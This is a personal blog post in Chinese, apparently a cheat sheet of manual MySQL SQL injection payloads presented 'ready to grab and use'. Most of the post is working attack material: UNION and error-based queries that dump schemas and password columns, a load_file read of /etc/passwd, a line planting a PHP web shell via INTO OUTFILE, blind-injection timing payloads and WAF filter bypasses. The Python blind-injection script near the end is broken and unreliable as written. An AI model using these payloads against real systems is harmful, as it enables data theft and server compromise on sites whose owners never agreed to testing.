tkcharlotte's blog

记录一下mysql手工注入语句,随拿随用。

常用函数

查看版本
  • version()
  • @@version //@@是系统变量
查看数据库
  • database()
  • schema()
查看用户
  • user()
  • current_user()
  • system_user()
查看路径
  • select @@basedir
字符串相关
  • length()
  • concat() //连接字符串
  • concat_ws(flag,s1,s2...) //同concat函数,每个字符要加上flag
  • left(s,n) //返回s开始的最左边n个字符
  • right(s,n) //返回s开始的最右边的n个字符
  • repeat(s,n) //重复字符串s n次
  • substring(s,n,len) //获取字符串s从n开始长度为len的字符串
  • mid(s,n,len) //同上sub
  • ascii(s) // 获取s的ascii
  • group_concat() //连接字符串
条件判断

if(expr,v1,v2) // 如果表达式成立,执行v1,否则执行v2

case when then

1
2
3
4
5
case expr
when case1 then 1
when case2 then 2
else 3
end case

注入方式

  • 有回显的普通注入

  • 报错注入(有回显)

  • 头注入(X-Forwarded-For/UA头/cookie注入/...)

  • insert注入

  • update注入 // 一般为报错注入

  • delete 注入

  • 宽字节注入

  • 盲注

    • 布尔盲注

      根据返回结果的差异来判断

    • 时间盲注

      根据是否延时来判断条件是否成立

  • 二次注入

    • insert + select类型
    • update + select类型
  • order by注入

注入点判断

  • 字符型

    1
    2
    3
    4
    5
    id =1' and '1'='1 #
    id =1' and '1'='2 #
    id =1' or '1'='1 #
    id =1' or '1'='2 #
    ' " ') ") //常见闭合方式
  • 数字型

    1
    2
    3
    4
    id = 1 and 1 =1 #
    id = 2 and 1= 2 #
    id = 1 or 1 = 1 #
    id = 2 or 1 = 2 #

注入语句

有回显普通手工注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
id = 1 order by 3#  // 条件为真,才能进行order by 查询
id = -1 union select 1,2,3 # //前面条件为假,而且前后查询列数要相等

SELECT GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA #
SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() #
SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database_name #
SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=table_name #
SELECT GROUP_CONCAT(column_1,column_2) FROM database_name.table_name #
SELECT load_file('/etc/passwd')
SELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';
show variables like '%secure%'; // 查看权限
secure_file_priv= 可以读取目录
secure_file_priv=NULL 不能读取
secure_file_priv=C:\ 只能读取C盘
报错注入
updatexml(长度限制 32位)
1
2
3
4
5
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
id=1 and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test'),0x7e),1))
id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='user'),0x7e),1))
id=1 and (updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1))
floor
1
?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
exp
1
exp(~(select * from(select group_concat(table_name) from information_schema.tables where !(table_schema <> database()))a)) or '
extractvaluel(长度限制 32位)
1
2
3
4
5
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))
id=1 and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test'),0x7e)))
id=1 and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='user'),0x7e)))
id=1 and (extractvalue(1,concat(0x7e,(select group_concat(password) from user),0x7e)))
盲注

BENCHMARK(100000,MD5(1)) or sleep(5)

附上一个半成品吧,根据情况定制payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string
import time
import base64

result = ''
flag=the symbol of successful_data
url = "http:/xxx.com/index.php"
request = requests.session()
prox = {"http":"127.0.0.1:8080"}
header={

"Host": "test.dns.outnet",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"


}

data={
"username":"admin"
}
for i in range(1,50):
for j in range(23,126):

payload = " ' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=the_name_of_table),{0},1))={1} # ".format(i,j)
#payload = " ' or ascii(substr((select a from b),{0},1))={1} # ".format(i,j)
response = request.post(url=url,data=data,proxies=prox)
time.sleep(1)
if flag in response.text:
result += chr(j)
print(t)
break
DNSlog无回显注入

没实践过,先记一下。

https://www.cnblogs.com/afanti/p/8047530.html

绕过方式

过滤空格
1
2
3
4
/**/ /*!*/

union/**/select
/*!union*/select
过滤关键字

双写或者大小绕过

e.g:

Uniunionon SeleSElectct

过滤逗号

使用join函数代替

1
2
select 1,2,3
select (select 1)a join (select 2)b join (select 3)c
过滤单引号

使用十六进制编码

正则匹配最大次数限制

绕某些WAF时有奇效

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

杂七杂八

查询字段名为关键字时需要使用反引号转义

数据库数据可能存在宽字节,需要转成十六进制再转成十进制。

….

推荐破哥总结的注入笔记,破哥出品,必定精品~

https://p0sec.net/index.php/archives/117/

 评论


载入天数...载入时分秒... | 字数统计:18.1k